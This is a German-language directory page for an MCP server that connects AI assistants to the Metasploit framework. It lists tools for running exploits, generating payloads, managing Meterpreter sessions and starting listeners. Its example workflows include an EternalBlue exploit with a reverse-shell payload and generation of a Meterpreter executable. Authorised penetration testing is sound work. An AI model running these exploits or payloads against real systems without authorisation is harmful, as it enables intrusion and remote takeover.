Skip to main content
Glama

Metasploit MCP-Server

Ein Model Context Protocol (MCP)-Server für die Metasploit Framework-Integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Beschreibung

Dieser MCP-Server bildet eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstestplattform Metasploit Framework. Er ermöglicht KI-Assistenten den dynamischen Zugriff und die Steuerung von Metasploit-Funktionen über standardisierte Tools und ermöglicht so eine natürlichsprachliche Schnittstelle zu komplexen Sicherheitstest-Workflows.

Related MCP server: Vibehacker Metasploit MCP

Merkmale

Modulinformationen

  • list_exploits : Suchen und Auflisten verfügbarer Metasploit-Exploit-Module

  • list_payloads : Suchen und Auflisten verfügbarer Metasploit-Payload-Module mit optionaler Plattform- und Architekturfilterung

Ausnutzungs-Workflow

  • run_exploit : Konfigurieren und Ausführen eines Exploits gegen ein Ziel mit der Option, zuerst Prüfungen durchzuführen

  • run_auxiliary_module : Führen Sie ein beliebiges Metasploit-Hilfsmodul mit benutzerdefinierten Optionen aus

  • run_post_module : Führen Sie Post-Exploitation-Module für vorhandene Sitzungen aus

Payload-Generierung

  • generate_payload : Generiert Payload-Dateien mit Metasploit RPC (speichert Dateien lokal)

Sitzungsverwaltung

  • list_active_sessions : Zeigt aktuelle Metasploit-Sitzungen mit detaillierten Informationen an

  • send_session_command : Führen Sie einen Befehl in einer aktiven Shell oder Meterpreter-Sitzung aus

  • terminate_session : Beenden Sie eine aktive Sitzung zwangsweise

Handler-Verwaltung

  • list_listeners : Alle aktiven Handler und Hintergrundjobs anzeigen

  • start_listener : Erstellen Sie einen neuen Multi/Handler zum Empfangen von Verbindungen

  • stop_job : Beenden Sie alle laufenden Jobs oder Handler

Voraussetzungen

  • Metasploit Framework installiert und msfrpcd ausgeführt

  • Python 3.10 oder höher

  • Erforderliche Python-Pakete (siehe requirements.txt)

Installation

  1. Dieses Repository klonen

  2. Installieren Sie Abhängigkeiten:

    pip install -r requirements.txt
  3. Umgebungsvariablen konfigurieren (optional):

    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Verwendung

Starten Sie den Metasploit RPC-Dienst:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transportmöglichkeiten

Der Server unterstützt zwei Transportmethoden:

  • HTTP/SSE (Server-Sent Events) : Standardmodus für die Interoperabilität mit den meisten MCP-Clients

  • STDIO (Standard Input/Output) : Wird mit Claude Desktop und ähnlichen direkten Pipe-Verbindungen verwendet

Sie können den Transportmodus explizit mit dem Flag --transport auswählen:

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Zusätzliche Optionen für den HTTP-Modus:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

Konfigurieren Sie für die Claude Desktop-Integration claude_desktop_config.json :

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Andere MCP-Clients

Für andere MCP-Clients, die HTTP/SSE verwenden:

  1. Starten Sie den Server im HTTP-Modus:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:

    • SSE-Endpunkt: http://your-server-ip:8085/sse

Sicherheitsüberlegungen

⚠️ WICHTIGER SICHERHEITSHINWEIS :

Dieses Tool bietet direkten Zugriff auf die Funktionen des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsbewusst und nur in Umgebungen, in denen Sie die ausdrückliche Berechtigung zur Durchführung von Sicherheitstests haben.

  • Überprüfen Sie alle Befehle vor der Ausführung.

  • Nur in getrennten Testumgebungen oder mit entsprechender Autorisierung ausführen

  • Beachten Sie, dass Post-Exploitation-Befehle zu erheblichen Systemänderungen führen können

Beispiel-Workflows

Grundlegende Ausbeutung

  1. Liste der verfügbaren Exploits: list_exploits("ms17_010")

  2. Wählen Sie einen Exploit aus und führen Sie ihn aus: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Sitzungen auflisten: list_active_sessions()

  4. Befehle ausführen: send_session_command(1, "whoami")

Nach der Ausbeutung

  1. Führen Sie ein Postmodul aus: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Senden Sie benutzerdefinierte Befehle: send_session_command(1, "sysinfo")

  3. Beenden, wenn fertig: terminate_session(1)

Handler-Verwaltung

  1. Starten Sie einen Listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Aktive Handler auflisten: list_listeners()

  3. Generieren Sie eine Nutzlast: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Stoppen Sie einen Handler: stop_job(1)

Konfigurationsoptionen

Payload-Speicherverzeichnis

Standardmäßig werden mit generate_payload generierte Payloads in einem payloads -Verzeichnis in Ihrem Home-Ordner ( ~/payloads oder C:\Users\YourUsername\payloads ) gespeichert. Sie können diesen Speicherort anpassen, indem Sie die Umgebungsvariable PAYLOAD_SAVE_DIR festlegen.

Festlegen der Umgebungsvariable:

  • Windows (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Eingabeaufforderung) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • In der Claude Desktop-Konfiguration :

    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass dieser vorhanden ist oder die Anwendung über die Berechtigung zum Erstellen verfügt. Bei einem ungültigen Pfad kann die Payload-Generierung fehlschlagen.

Lizenz

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server